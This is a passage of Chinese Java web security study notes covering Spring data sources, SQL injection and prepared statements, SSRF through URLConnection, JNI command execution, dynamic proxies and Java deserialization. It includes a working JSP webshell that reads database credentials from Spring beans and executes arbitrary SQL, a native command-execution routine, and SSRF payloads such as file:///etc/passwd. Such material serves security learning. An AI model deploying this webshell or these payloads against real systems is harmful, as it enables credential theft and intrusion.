<property name="dataSource" ref="dataSource"/>
</bean>
SpringBoot配置数据源
在SpringBoot中,只需要在application properties
或者 application.yml
中定义
spring.datasource.xxx
即可完成DataSource
的配置
spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver
Spring 数据源Hack
我们通常可以查找Spring数据库配置信息找到数据库账号和密码,但是我们可能会找到非常多的配置项,甚至是加密的配置信息,这将会使我们非常难以确定真实的数据库配置信息。。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!
)证明下危害,那么您可以在webshell
中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
th, td {
border: 1px solid #C1DAD7;
font-size: 12px;
padding: 6px;
color: #4f6b72;
}
</style>
<%!
// C3PO数据源类
private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
// DBCP数据源类
private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
//Druid数据源类
private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";
/**
* 获取所有Spring管理的数据源
* @param ctx Spring上下文
* @return 数据源数组
*/
List<DataSource> getDataSources(ApplicationContext ctx) {
List<DataSource> dataSourceList = new ArrayList<DataSource>();
String[] beanNames = ctx.getBeanDefinitionNames();
for (String beanName : beanNames) {
Object object = ctx.getBean(beanName);
if (object instanceof DataSource) {
dataSourceList.add((DataSource) object);
}
}
return dataSourceList;
}
/**
* 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
* @param ctx Spring上下文对象
* @return 数据源配置字符串
* @throws ClassNotFoundException 数据源类未找到异常
* @throws NoSuchMethodException 反射调用时方法没找到异常
* @throws InvocationTargetException 反射调用异常
* @throws IllegalAccessException 反射调用时不正确的访问异常
*/
String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
NoSuchMethodException, InvocationTargetException, IllegalAccessException {
List<DataSource> dataSourceList = getDataSources(ctx);
for (DataSource dataSource : dataSourceList) {
String className = dataSource.getClass().getName();
String url = null;
String UserName = null;
String PassWord = null;
if (C3P0_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(C3P0_CLASS_NAME);
url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DBCP_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DBCP_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
} else if (DRUID_CLASS_NAME.equals(className)) {
Class clazz = Class.forName(DRUID_CLASS_NAME);
url = (String) clazz.getMethod("getUrl").invoke(dataSource);
UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
}
return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
}
return null;
}
%>
<%
String sql = request.getParameter("sql");// 定义需要执行的SQL语句
// 获取Spring的ApplicationContext对象
ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
// 获取Spring中所有的数据源对象
List<DataSource> dataSourceList = getDataSources(ctx);
// 检查是否获取到了数据源
if (dataSourceList == null) {
out.println("未找到任何数据源配置信息!");
return;
}
out.println("<hr/>");
out.println("Spring DataSource配置信息获取测试:");
out.println("<hr/>");
out.print(printDataSourceConfig(ctx));
out.println("<hr/>");
// 定义需要查询的SQL语句
sql = sql != null ? sql : "select version()";
for (DataSource dataSource : dataSourceList) {
out.println("<hr/>");
out.println("SQL语句:<font color='red'>" + sql + "</font>");
out.println("<hr/>");
//从数据源中获取数据库连接对象
Connection connection = dataSource.getConnection();
// 创建预编译查询对象
PreparedStatement pstt = connection.prepareStatement(sql);
// 执行查询并获取查询结果对象
ResultSet rs = pstt.executeQuery();
out.println("<table><tr>");
// 获取查询结果的元数据对象
ResultSetMetaData metaData = rs.getMetaData();
// 从元数据中获取字段信息
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
}
out.println("<tr/>");
// 获取JDBC查询结果
while (rs.next()) {
out.println("<tr>");
for (int i = 1; i <= metaData.getColumnCount(); i++) {
out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
}
out.println("<tr/>");
}
rs.close();
pstt.close();
}
%>
以上代码不需要手动去配置文件里,寻找任何信息就可以直接读取出数据库配置信息,甚至是执行SQL语句。
其实是利用了Spring的ApplicationContext
遍历了当前Web应用中Spring管理的所有的Bean,然后找出所有DataSource
的对象,通过反射读取出C3P0
、DBCP
、Druid
这三类数据源的数据库配置信息,最后还利用了DataSource
获取了Connection
对象实现了数据库查询功能。
JAVA web server数据源
除了第三方数据库的实现,标准的WEB容器自身也提供了数据源服务。通常会在容器中配置DataSource
信息,并注册到JNDI(Java Naming and Directory Interface)
中,在web的应用中,我们可以通过JNDI的接口,lookup
(定义的JNDI)路径来获取到DataSource
对象
Tomcat JNDI DataSource
<Context>
<Resource name="jdbc/test" auth="Container" type="javax.sql.DataSource"
maxTotal="100" maxIdle="30" maxWaitMillis="10000"
username="root" password="root" driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"/>
</Context>
Resin JNDI DataSource
<database jndi-name='jdbc/test'>
<driver type="com.mysql.jdbc.Driver">
<url>jdbc:mysql://localhost:3306/mysql</url>
<user>root</user>
<password>root</password>
</driver>
</database><database jndi-name='jdbc/test'>
<driver type="com.mysql.jdbc.Driver">
<url>jdbc:mysql://localhost:3306/mysql</url>
<user>root</user>
<password>root</password>
</driver>
</database>
JDBC SQL注入
过滤'(单引号)
或"(双引号)
并不能有效的防止整型注入,但是可以有效的防御字符型注入。解决注入的根本手段应该使用参数预编译的方式。
PreparedStatement SQL预编译查询
使用?
占位的方式,即可实现SQL
预编译查询
// 获取用户传入的用户ID
String id = request.getParameter("id");
// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =? ";
// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);
// 设置预编译查询的第一个参数值
pstt.setObject(1, id);
// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();
需要特别注意的是并不是使用PreparedStatement
来执行SQL语句就没有注入漏洞,而是将用户传入部分使用?(问号)
占位符表示并使用PreparedStatement
预编译SQL语句才能够防止注入!
预编译前的值为root'
,预编译后的值为'root\''
mysql预编译
Mysql默认提供了预编译命令:prepare
,使用prepare
命令可以在Mysql数据库服务端实现预编译查询。
prepare stmt from 'select host,user from mysql.user where user = ?';
set @username='root';
execute stmt using @username;
URL Connection
在java中,Java抽象出来了一个URLConnection
类,它用来表示应用程序以及与URL建立通信连接的所有类的超类,通过URL
类中的openConnection
方法获取到URLConnection
的类对象。
Java中URLConnection 支持的协议可以在sun.net.www.protocol
看到
上图虽然有gopher
,但是,gopher
在jdk8版本之后是被阉割的。
public class URLConnectionDemo {
public static void main(String[] args) throws IOException {
URL url = new URL("https://www.baidu.com");
// 打开和url之间的连接
URLConnection connection = url.openConnection();
// 设置请求参数
connection.setRequestProperty("user-agent", "javasec");
connection.setConnectTimeout(1000);
connection.setReadTimeout(1000);
...
// 建立实际连接
connection.connect();
// 获取响应头字段信息列表
connection.getHeaderFields();
// 获取URL响应
connection.getInputStream();
StringBuilder response = new StringBuilder();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
response.append("/n").append(line);
}
System.out.print(response.toString());
}
}
- 首先使用URL建立一个对象
- 调用
url
对象中的openConnection
来获取一个URLConnection
的实例 - 然后通过在
URLConnection
设置各种请求参数以及一些配置在使用其中的connect
方法来发起请求,然后在调用getInputStream
来获请求的响应流。
SSRF攻击
URL url = new URL(url);
URLConnection connection = url.openConnection();
connection.connect();
connection.getInputStream();
StringBuilder response = new StringBuilder();
BufferedReader in = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
response.append("/n").append(line);
}
System.out.print(response.toString());
当url
可控,那么将url参数传入为file:///etc/passwd
,则会读取本地/etc/passwd
的文件
但是如果上述代码中将url.openConnection()
返回的对象强转为HttpURLConnection
,则会抛出如下异常
Exception in thread "main" java.lang.ClassCastException: sun.net.www.protocol.file.FileURLConnection cannot be cast to java.net.HttpURLConnection
如果传入的是http://192.168.xx.xx:80
,且192.168.xx.xx
的80
端口存在的,则会将其网页源码输出出来
java中默认对(http}}https)做了一些事情 ,比如
- 默认启用了透明的
NTLM
认证 - 默认跟随跳转
https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/
他会跟随跳转的URL进行协议的判断,所以java的SSRF漏洞利用方式整体比较有限
- 利用
file
协议读取文件内容(仅限使用URLConnection|URL 发起的请求) - 利用http 进行内网web服务端口探测
- 利用http 进行内网非web服务端口探测(如果将异常抛出来的情况下)
- 利用http进行ntlmrelay攻击(仅限
HttpURLConnection
或者二次包装HttpURLConnection
并未复写AuthenticationInfo
方法的对象)
JNI安全基础
java语言是基于C语言实现的,java底层的API都是通过JNI(JAVA Native Interface)
来实现的。通过JNI
接口,C/C++和java
可以互相调用。java可以通过JNI调用弥补语言自身的缺陷,但是也会带来一系列的安全问题
JNI-定义native方法
首先在Java中如果想要调用native方法,那么需要在类中先定义一个native
方法。
public class CommandExecution {
public static native String exec(String cmd);
}
我们只需要使用native
关键字定义一个类似于接口的方法就可以了。
JNI-生成类头文件
如上,我们已经编写好了CommandExecution.java
,现在我们需要编译并生成c语言头文件
完整的步骤如下:
- Cd 当前目录
- Javac -cp CommandExcution.java
- Javah -d -cp . CommandExecution
如果是JDK>=10的话,需要使用javac -cp xxx.java -h 文件输出路径
之后就可以看到.h
的头文件了,之后就是动态链接库的编写
头文件命名强制性
JDK<10以前,javah生成的头文件函数命名方式是非常有强制性的约束的
如:Java_com_anbai_sec_cmd_CommandExecution_exec
中Java_
是固定的前缀,
而com_anbai_sec_cmd_CommandExecution
也就代表着Java的完整包名称:com.anbai.sec.cmd.CommandExecution
,_exec
自然是表示的方法名称了。(JNIEnv *, jclass, jstring)
表示分别是JNI环境变量对象
、java调用的类对象
、参数入参类型
。
JNI基础数据类型
需要特别注意的是Java和JNI定义的类型是需要转换的,不能直接使用Java里的类型,也不能直接将JNI、C/C++的类型直接返回给Java。
无法复制加载中的内容
JNI编写 C/C++本地命令实现(未解决)
如上,我们已经写好了头文件,接下来,我们需要使用C/C++编写函数实现最终代码
//
// Created by yz on 2019/12/6.
//
#include <iostream>
#include <stdlib.h>
#include <cstring>
#include <string>
#include "com_anbai_sec_cmd_CommandExecution.h"
using namespace std;
JNIEXPORT jstring
JNICALL Java_com_anbai_sec_cmd_CommandExecution_exec
(JNIEnv *env, jclass jclass, jstring str) {
if (str != NULL) {
jboolean jsCopy;
// 将jstring参数转成char指针
const char *cmd = env->GetStringUTFChars(str, &jsCopy);
// 使用popen函数执行系统命令
FILE *fd = popen(cmd, "r");
if (fd != NULL) {
// 返回结果字符串
string result;
// 定义字符串数组
char buf[128];
// 读取popen函数的执行结果
while (fgets(buf, sizeof(buf), fd) != NULL) {
// 拼接读取到的结果到result
result +=buf;
}
// 关闭popen
pclose(fd);
// 返回命令执行结果给Java
return env->NewStringUTF(result.c_str());
}
}
return NULL;
}
JAVA动态代理
JAVA
反射提供了一种类动态代理机制,可以通过代理接口实现类完成程序的无侵入扩展
java动态代理的主要使用场景
- 统计方法执行所耗时间
- 在方法执行前后添加日志
- 检测方法的参数或返回值
- 方法访问 的权限控制
- 方法
Mock
测试
动态代理API
创建动态代理类会用到java.lang.reflect.Proxy
类和java.lang.reflect.InvocationHadnler
接口,
java.lang.reflect.Proxy
主要用于生成动态代理类Class
、创建代理类实例,该类实现了java.io.Serializable
接口。
java.lang.reflect.Proxy 的主要方法如下
package java.lang.reflect;
import java.lang.reflect.InvocationHandler;
/**
* Creator: yz
* Date: 2020/1/15
*/
public class Proxy implements java.io.Serializable {
// 省去成员变量和部分类方法...
/**
* 获取动态代理处理类对象
*
* @param proxy 返回调用处理程序的代理实例
* @return 代理实例的调用处理程序
* @throws IllegalArgumentException 如果参数不是一个代理实例
*/
public static InvocationHandler getInvocationHandler(Object proxy)
throws IllegalArgumentException {
...
}
/**
* 创建动态代理类实例
*
* @param loader 指定动态代理类的类加载器
* @param interfaces 指定动态代理类的类需要实现的接口数组
* @param h 动态代理处理类
* @return 返回动态代理生成的代理类实例
* @throws IllegalArgumentException 不正确的参数异常
*/
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
throws IllegalArgumentException {
...
}
/**
* 创建动态代理类
*
* @param loader 定义代理类的类加载器
* @param interfaces 代理类要实现的接口列表
* @return 用指定的类加载器定义的代理类,它可以实现指定的接口
*/
public static Class<?> getProxyClass(ClassLoader loader, Class<?>... interfaces) {
...
}
/**
* 检测某个类是否是动态代理类
*
* @param cl 要测试的类
* @return 如该类为代理类,则为 true,否则为 false
*/
public static boolean isProxyClass(Class<?> cl) {
return java.lang.reflect.Proxy.class.isAssignableFrom(cl) && proxyClassCache.containsValue(cl);
}
/**
* 向指定的类加载器中定义一个类对象
*
* @param loader 类加载器
* @param name 类名
* @param b 类字节码
* @param off 截取开始位置
* @param len 截取长度
* @return JVM创建的类Class对象
*/
private static native Class defineClass0(ClassLoader loader, String name, byte[] b, int off, int len);
}
使用java.lang.reflect.proxy动态创建对象
前面章节我们讲到了ClassLoader
和Unsafe
都有一个叫做defineClassXXX
的native
方法,我们可以通过调用这个native
方法动态的向JVM
创建一个类对象,而java.lang.reflect.Proxy
类恰好也有这么一个native
方法,所以我们也将可以通过调用java.lang.reflect.Proxy
类defineClass0
方法实现动态创建类对象。
package com.anbai.sec.proxy;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;
/**
* Creator: yz
* Date: 2020/1/15
*/
public class ProxyDefineClassTest {
public static void main(String[] args) {
// 获取系统的类加载器,可以根据具体情况换成一个存在的类加载器
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
try {
// 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
Method method = Proxy.class.getDeclaredMethod("defineClass0", new Class[]{
ClassLoader.class, String.class, byte[].class, int.class, int.class
});
// 修改方法的访问权限
method.setAccessible(true);
// 反射调用java.lang.reflect.Proxy.defineClass0()方法,动态向JVM注册
// com.anbai.sec.classloader.TestHelloWorld类对象
Class helloWorldClass = (Class) method.invoke(null, new Object[]{
classLoader, TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length
});
// 输出TestHelloWorld类对象
System.out.println(helloWorldClass);
} catch (Exception e) {
e.printStackTrace();
}
}
}
动态代理添加方法调用的实例
假设我们有一个叫做FileSystem
接口,UnixFileSystem
类出现了FileSystem接口,我们可以使用JDK动态代理的方式给FileSystem
的接口方法,执行前后都添加日志输出。
import java.io.File;
import java.lang.reflect.Proxy;
import java.util.Arrays;
public class FileSystemProxyTest {
public static void main(String[] args) {
//创建UnixFileSystem类实例
FileSystem fileSystem = new UnixFileSystem();
//使用JDK动态代理生成FileSystem动态生成代理实例
FileSystem proxyInstance = (FileSystem) Proxy.newProxyInstance(
FileSystem.class.getClassLoader(),//指定动态代理的类加载器
new Class[]{FileSystem.class},//定义动态代理生成的类实现的接口
new JDKInvocationHandler(fileSystem)//动态代理处理类
);
System.out.println("动态代理生成的类名:" + proxyInstance.getClass());
System.out.println("----------------------------------------------------------------------------------------");
System.out.println("动态代理生成的类名toString:" + proxyInstance.toString());
System.out.println("----------------------------------------------------------------------------------------");
// 使用动态代理的方式UnixFileSystem方法
String[] files = proxyInstance.list(new File("."));
System.out.println("----------------------------------------------------------------------------------------");
System.out.println("UnixFileSystem.list方法执行结果:" + Arrays.toString(files));
System.out.println("----------------------------------------------------------------------------------------");
boolean isFileSystem = proxyInstance instanceof FileSystem;
boolean isUnixFileSystem = proxyInstance instanceof UnixFileSystem;
System.out.println("动态代理类[" + proxyInstance.getClass() + "]是否是FileSystem类的实例:" + isFileSystem);
System.out.println("----------------------------------------------------------------------------------------");
System.out.println("动态代理类[" + proxyInstance.getClass() + "]是否是UnixFileSystem类的实例:" + isUnixFileSystem);
System.out.println("----------------------------------------------------------------------------------------");
}
}
动态代理类生成的$ProxyXXX类代码分析
java.lang.reflect.Proxy
类是通过创建一个新的java类(类名是com.sun.proxy.$ProxyXXX)的方法来实现无侵入的类方法的代理功能
动态代理有如下技术特性
- 动态代理类必须是接口类,通过
动态生成一个接口
类来代理接口的方法调用(反射机制) - 动态代理类会由
java.lang.reflect.Proxy.ProxyClassFactor
创建 ProxyClassFactory
会调用sun.misc.ProxyGenerator
类生成该类的字节码,并调用java.lang.reflect.proxy.defineClass0()
方法将该类注册到JVM
- 该类继承于
java.lang.reflect.Proxy
并实现了需要被代理的接口类,因为java.lang.reflect.Proxy
类实现了java.io.Serializable
接口,所以被代理的类支持序列化/反序列化
。 - 该类实现了代理接口类(示例中的接口类是
com.anbai.sec.proxy.FileSystem
),会通过ProxyGenerator
动态生成接口类(FileSystem
)的所有方法, - 该类因为实现了代理的接口类,所以当前类是代理的接口类的实例(
proxyInstance instanceof FileSystem
为true
),但不是代理接口类的实现类的实例(proxyInstance instanceof UnixFileSystem
为false
)。 - 该类方法中包含了被代理的接口类的所有方法,通过动态代理处理类(InvocationHandler) 的
invoke
方法执行结果 - 该类代理的方式重写了
java.lang.Object
类的toString
,hashCode
,equals
方法 - 如果通过动态代理生成了多个动态代理类,新生成的类名中0会自增
动态代理生成的com.sun.proxy.$Proxy0 类代码
package com.sun.proxy.$Proxy0;
import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.lang.reflect.UndeclaredThrowableException;
public final class $Proxy0 extends Proxy implements FileSystem {
private static Method m1;
// 实现的FileSystem接口方法,如果FileSystem里面有多个方法那么在这个类中将从m3开始n个成员变量
private static Method m3;
private static Method m0;
private static Method m2;
public $Proxy0(InvocationHandler var1) {
super(var1);
}
public final boolean equals(Object var1) {
try {
return (Boolean) super.h.invoke(this, m1, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final String[] list(File var1) {
try {
return (String[]) super.h.invoke(this, m3, new Object[]{var1});
} catch (RuntimeException | Error var3) {
throw var3;
} catch (Throwable var4) {
throw new UndeclaredThrowableException(var4);
}
}
public final int hashCode() {
try {
return (Integer) super.h.invoke(this, m0, (Object[]) null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
public final String toString() {
try {
return (String) super.h.invoke(this, m2, (Object[]) null);
} catch (RuntimeException | Error var2) {
throw var2;
} catch (Throwable var3) {
throw new UndeclaredThrowableException(var3);
}
}
static {
try {
m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
m3 = Class.forName("com.anbai.sec.proxy.FileSystem").getMethod("list", Class.forName("java.io.File"));
m0 = Class.forName("java.lang.Object").getMethod("hashCode");
m2 = Class.forName("java.lang.Object").getMethod("toString");
} catch (NoSuchMethodException var2) {
throw new NoSuchMethodError(var2.getMessage());
} catch (ClassNotFoundException var3) {
throw new NoClassDefFoundError(var3.getMessage());
}
}
}
动态代理类实例序列化问题
动态代理类符合java
对象序列化条件,并且在序列化/反序列化时
会被objectInputStream/ObjectOutputStream
特殊处理
FileSystemProxySerializationTest示例代码:
package com.anbai.sec.proxy;
import java.io.*;
import java.lang.reflect.Proxy;
/**
* Creator: yz
* Date: 2020/1/14
*/
public class FileSystemProxySerializationTest {
public static void main(String[] args) {
try {
// 创建UnixFileSystem类实例
FileSystem fileSystem = new UnixFileSystem();
// 使用JDK动态代理生成FileSystem动态代理类实例
FileSystem proxyInstance = (FileSystem) Proxy.newProxyInstance(
FileSystem.class.getClassLoader(),// 指定动态代理类的类加载器
new Class[]{FileSystem.class}, // 定义动态代理生成的类实现的接口
new JDKInvocationHandler(fileSystem)// 动态代理处理类
);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
// 创建Java对象序列化输出流对象
ObjectOutputStream out = new ObjectOutputStream(baos);
// 序列化动态代理类
out.writeObject(proxyInstance);
out.flush();
out.close();
// 利用动态代理类生成的二进制数组创建二进制输入流对象用于反序列化操作
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
// 反序列化输入流数据为FileSystem对象
FileSystem test = (FileSystem) in.readObject();
System.out.println("反序列化类实例类名:" + test.getClass());
System.out.println("反序列化类实例toString:" + test.toString());
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
动态代理生成的类在反序列化/序列化
时,不会序列化该类的成员变量,并且serialVersionUID
为0L
,也将时说该类的class
对象传输给java.io.ObjectStreamClass
的静态lookup
方法时候,返回的ObjectStreamClass
实例具有以下特性
- 调用其
getSeriaVersionUID
方法,返回0L
- 调用其
getFields
方法将返回长度为0的数组 - 调用其
getField
方法将返回null
但其父类(java.lang.reflect.Proxy
)在序列化时不受影响,父类中的h
变量(InvocationHandler
)将会被序列化,这个h
存储了动态代理类的处理类实例以及动态代理的接口类的实现类的实例。
JAVA序列化和反序列化
Java对象序列化指的是将一个Java类实例序列化成字节数组
,用于存储对象实例化信息:类成员变量和属性值。 Java反序列化可以将序列化后的二进制数组转换为对应的Java类实例
。
Java序列化对象因其可以方便的将对象转换成字节数组,又可以方便快速的将字节数组反序列化成Java对象而被非常频繁的被用于Socket
传输。 在RMI(Java远程方法调用-Java Remote Method Invocation)
和JMX(Java管理扩展-Java Management Extensions)
服务中对象反序列化机制被强制性使用。在Http请求中也时常会被用到反序列化机制,如:直接接收序列化请求的后端服务、使用Base编码序列化字节字符串的方式传递等。
java反序列化漏洞
自从2015年Apache Commons Collections反序列化漏洞,ysoseria这个工具的使用就开始流行开来,
java序列化和反序列化的例子
在java中实现对象反序列化非常简单,实现java.io.Serializable(内部序列化)
或者是java.io.Externalizable
接口知识实现了java.io.Serlizable
接口
反序列化的对象必须有如下限制
- 被反序列化的类必须存在
- SerialVersionUID值必须一致
除此之外,反序列化类对象是不会调用该类构造方法的,因为在反序列化创建类实例时使用了sun.reflect.ReflectionFactory.newConstructorForSerialization
创建了一个反序列化专用的Constructor(反射构造方法对象)
,使用这个特殊的Constructor
可以绕过构造方法创建类实例(前面章节讲sun.misc.Unsafe
的时候我们提到了使用allocateInstance
方法也可以实现绕过构造方法创建类实例)
使用反序列化方式创造类代码示例的片段
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
/**
* 使用反序列化的方式,在不调用类构造方法的情况下创建实例
*/
public class Reflect {
public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
//获取sun.reflect.ReflectionFactory对象
ReflectionFactory factory = ReflectionFactory.getReflectionFactory();
//使用反序列化方式获取构造方法
Constructor constructor = factory.newConstructorForSerialization(UnixFileSystem.class, Object.class.getConstructor());
//实例化
System.out.println(constructor.newInstance());
}
}
具体细节可以参考不用构造方法也能创建对象 - Java综合 - Java - ITeye论坛
ObjectInputStream和ObjectOutputStream
java.io.ObjectOutputStream
类最核心的方法是writeObject
方法,即序列化类对象。
java.io.ObjectInputStream
类最核心的功能是readObject
方法,即反序列化类对象。
所以,只要借助,ObjectInputStream
和ObjectOutputstream
就可以实现类的序列化和反序列化功能。
java.io.Serializable
java.io.Serializable
是一个空的接口,我们不需要实现java.io.Serializable
的任何方法,代码如下:
public interface Serializable{
}
空接口的意义其实是为了标识这个类可序列化,实现了java.io.Serializable
接口的类原则上都需要生产一个seriaVersionUID
常量,反序列化时,如果双方的serialVersionUID
不一致则会导致InvalidClassException
异常。如果可序列化类未显式声明serialVersionUID
,则序列化运行时将基于该类的各个方面计算该类默认的serialVersionUID
值
测试代码如下:
import java.io.*;
import java.lang.reflect.Array;
import java.util.Arrays;
public class DeserializationTest implements Serializable {
private String usernamne;
private String email;
//创建getter和setter方法
public String getUsernamne() {
return usernamne;
}
public void setUsernamne(String usernamne) {
this.usernamne = usernamne;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
//创建Deserialization类,并设置属性
public static void main(String[] args) throws IOException, ClassNotFoundException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DeserializationTest t= new DeserializationTest();
t.setUsernamne("hhhh");
t.setEmail("admin@javaweb.org");
//创建Java对象序列化输出流对象
ObjectOutputStream out =new ObjectOutputStream(baos);
//序列化DeserializationTest类
out.writeObject(t);
out.flush();
out.close();
//打印序列化后的字节数组,可以将其储存到文件中,或者通过Socket发送到远程服务地址
System.out.println("DeserializationTest类序列化后的字节数组"+ Arrays.toString(baos.toByteArray()));
//通过DererializationTest类生成的二进制数组数组创建二进制输入流对象用于反序列化的操作
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
//通过反序列化输入流(bais),创建 java对象输入流(ObjectInputStream)对象
ObjectInputStream in = new ObjectInputStream(bais);
//反序列化输入流数据为对象
DeserializationTest test =(DeserializationTest) in.readObject();
System.out.println("用户名"+test.getUsernamne()+",邮箱"+test.getEmail());
//ObjectInputStream输入流
in.close();
}
}
执行结果如下:
"E:\JetBrains\IDEA\IntelliJ IDEA 2020.3.2\jbr\bin\java.exe" "-javaagent:E:\JetBrains\IDEA\IntelliJ IDEA 2020.3.2\lib\idea_rt.jar=3337:E:\JetBrains\IDEA\IntelliJ IDEA 2020.3.2\bin" -Dfile.encoding=UTF-8 -classpath "D:\NetworkSec\n day\dubbo\Test\out\production\Test" DeserializationTest
DeserializationTest类序列化后的字节数组[-84, -19, 0, 5, 115, 114, 0, 19, 68, 101, 115, 101, 114, 105, 97, 108, 105, 122, 97, 116, 105, 111, 110, 84, 101, 115, 116, 94, -103, -5, -9, 18, -9, -8, -103, 2, 0, 2, 76, 0, 5, 101, 109, 97, 105, 108, 116, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 0, 9, 117, 115, 101, 114, 110, 97, 109, 110, 101, 113, 0, 126, 0, 1, 120, 112, 116, 0, 17, 97, 100, 109, 105, 110, 64, 106, 97, 118, 97, 119, 101, 98, 46, 111, 114, 103, 116, 0, 4, 104, 104, 104, 104]
用户名hhhh,邮箱admin@javaweb.org
Process finished with exit code 0
java.io.Externalizable
java.io.Externalizable
和ajva.io.Serializable
几乎一样,只是java.io.Externalizable
接口定义了writeExternal
和readExternal
方法需要序列化和反序列化的类实现。其余和java.io.Serializable
一样,没有差别
public interface Externalizable extends java.io.Serializable {
void writeExternal(ObjectOutput out) throws IOException;
void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}
Externalizable的测试代码如下
package com.anbai.sec.serializes;
import java.io.*;
import java.util.Arrays;
/**
* Creator: yz
* Date: 2019/12/15
*/
public class ExternalizableTest implements java.io.Externalizable {
private String username;
private String email;
// 省去get/set方法....
@Override
public void writeExternal(ObjectOutput out) throws IOException {
out.writeObject(username);
out.writeObject(email);
}
@Override
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
this.username = (String) in.readObject();
this.email = (String) in.readObject();
}
public static void main(String[] args) {
// 省去测试代码,因为和DeserializationTest一样...
}
}
Apache Commons Collections 反序列化漏洞
Apache Commons
是Apache
开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons
当中有一个组件叫做Apache Commons Collections
,主要封装了Java的Collection(集合)
相关类对象。本节将逐步详解Collections
反序列化攻击链(仅以TransformedMap
调用链为示例)最终实现反序列化RCE
。
通过接口查询,能获取到 ConstantTransformer , invokerTransformer ChainedTransformer TransformedMap 这些都实现了Transformer
接口
接下来进行分析,先从官网下载包
Collections – Download Apache Commons Collections
ConstantTransformer
ConstantTransformer
类是Transformer
接口的实现类,其中ConstantTransformer
类,重写了接口类的transformer
方法
public class ClosureTransformer implements Transformer, Serializable {
private static final long serialVersionUID = 478466901448617286L;
private final Closure iClosure;
public static Transformer getInstance(Closure closure) {
if (closure == null) {
throw new IllegalArgumentException("Closure must not be null");
} else {
return new ClosureTransformer(closure);
}
}
public ClosureTransformer(Closure closure) {
this.iClosure = closure;
